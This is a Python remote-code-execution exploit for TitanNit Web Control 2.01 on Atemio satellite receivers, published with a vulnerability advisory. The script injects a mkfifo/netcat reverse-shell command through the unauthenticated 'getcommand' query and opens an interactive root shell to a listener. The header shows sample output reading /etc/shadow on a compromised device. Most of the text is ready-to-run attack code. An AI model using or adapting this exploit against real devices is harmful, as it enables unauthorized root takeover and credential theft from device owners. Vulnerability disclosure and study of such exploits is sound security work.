#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# TitanNit Web Control 2.01 / Atemio 7600 Root Remote Code Execution
#
#
# Vendor: AAF Digital HD Forum | Atelmo GmbH
# Product web page: http://www.aaf-digital.info | https://www.atemio.de
# Affected version: Firmware <=2.01
#
# Summary: The Atemio AM 520 HD Full HD satellite receiver enables the
# reception of digital satellite programs in overwhelming image quality
# in both SD and HD ranges. In addition to numerous connections, the small
# all-rounder offers a variety of plugins that can be easily installed
# thanks to the large flash memory. The TitanNit Linux software used combines
# the advantages of the existing E2 and Neutrino systems and is therefore
# fast, stable and adaptable.
#
# Desc: The vulnerability in the device enables an unauthorized attacker
# to execute system commands with elevated privileges. This exploit is
# facilitated through the use of the 'getcommand' query within the application,
# allowing the attacker to gain root access.
#
# ========================================================================
# _# python titannnit_rce.py 192.168.1.13:20000 192.168.1.8 9999
# [*] Starting callback listener child thread
# [*] Listening on port 9999
# [*] Generating callback payload
# [*] Calling
# [*] Callback waiting: 3s
# [*] ('192.168.1.13', 40943) called back
# [*] Rootshell session opened
# sh: cannot set terminal process group (1134): Inappropriate ioctl for device
# sh: no job control in this shell
# sh-5.1# id
# <-sh-5.1# id
# uid=0(root) gid=0(root)
# sh-5.1# cat /etc/shadow | grep root
# <-sh-5.1# cat /etc/shadow | grep root
# root:$6$TAdBGj2mY***:18729:0:99999:7:::
# sh-5.1# exit
# [*] OK, bye!
#
# _#
# =======================================================================
#
# Tested on: GNU/Linux 2.6.32.71 (STMicroelectronics)
# GNU/Linux 3.14-1.17 (armv7l)
# GNU/Linux 3.14.2 (mips)
# ATEMIO M46506 revision 990
# Atemio 7600 HD STB
# CPU STx7105 Mboard
# titan web server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2023-5801
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5801.php
#
#
# 16.11.2023
#
from time import sleep
import threading
import requests
import socket
import sys
class RemoteControl:
def __init__(self):
self.timeout = 10
self.target = None
self.callback = None
self.cstop = threading.Event()
self.path = "/query?getcommand=&cmd="
self.lport = None
self.cmd = None
def beacon(self):
self.cmd = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc "
self.cmd += self.callback + " "
self.cmd += str(self.lport) + " "
self.cmd += ">/tmp/j"
self.path += self.cmd
r = requests.get(self.target + self.path)
def slusaj(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", self.lport))
s.listen(1)
print("[*] Listening on port " + str(self.lport))
sleep(1)
try:
conn, addr = s.accept()
print("\n[*]", addr, "called back")
print("[*] Rootshell session opened")
self.cstop.set()
except socket.timeout:
print("[-] Call return timeout\n[!] Check your ports")
conn.close()
while True:
try:
odg = conn.recv(999999).decode()
sys.stdout.write(odg)
command = input()
command += "\n"
if "exit" in command:
exit(-17)
conn.send(command.encode())
sleep(0.5)
sys.stdout.write("<-" + odg.split("\n")[-1])
except:
print("[*] OK, bye!")
exit(-1)
s.close()
def tajmer(self):
for z in range(self.timeout, 0, -1):
poraka = f"[*] Callback waiting: {z}s"
print(poraka, end='', flush=True)
sys.stdout.flush()
sleep(1)
if self.cstop.is_set():
break
print(' ' * len(poraka), end='\r')
if not self.cstop.is_set():
print("[-] Call return timeout\n[!] Check your ports")
exit(0)
else:
print(end=' ')
def thricer(self):
print("[*] Starting callback listener child thread")
plet1 = threading.Thread(name="ZSL", target=self.slusaj)
plet1.start()
sleep(1)
print("[*] Generating callback payload")
sleep(1)
print("[*] Calling")
plet2 = threading.Thread(name="ZSL", target=self.tajmer)
plet2.start()
self.beacon()
plet1.join()
plet2.join()
def howto(self):
if len(sys.argv) != 4:
self.usage()
else:
self.target = sys.argv[1]
self.callback = sys.argv[2]
self.lport = int(sys.argv[3])
if not self.target.startswith("http"):
self.target = "http://{}".format(self.target)
def dostabesemolk(self):
naslov = """
o===--------------------------------------===o
| |
| TitanNit Web Control Remote Code Execution |
| ZSL-2023-5801 |
| |
o===--------------------------------------===o
||
||
||
||
||
||
||
||
L!
/_)
/ /L
_______________________/ (__)
_______________________ (__)
\_(__)
||
||
||
||
||
||
"""
print(naslov)
def usage(self):
self.dostabesemolk()
print("Usage: ./titan.py <target ip> <listen ip> <listen port>")
print("Example: ./titan.py 192.168.1.13:20000 192.168.1.8 9999")
exit(0)
def main(self):
self.howto()
self.thricer()
if __name__ == '__main__':
RemoteControl().main()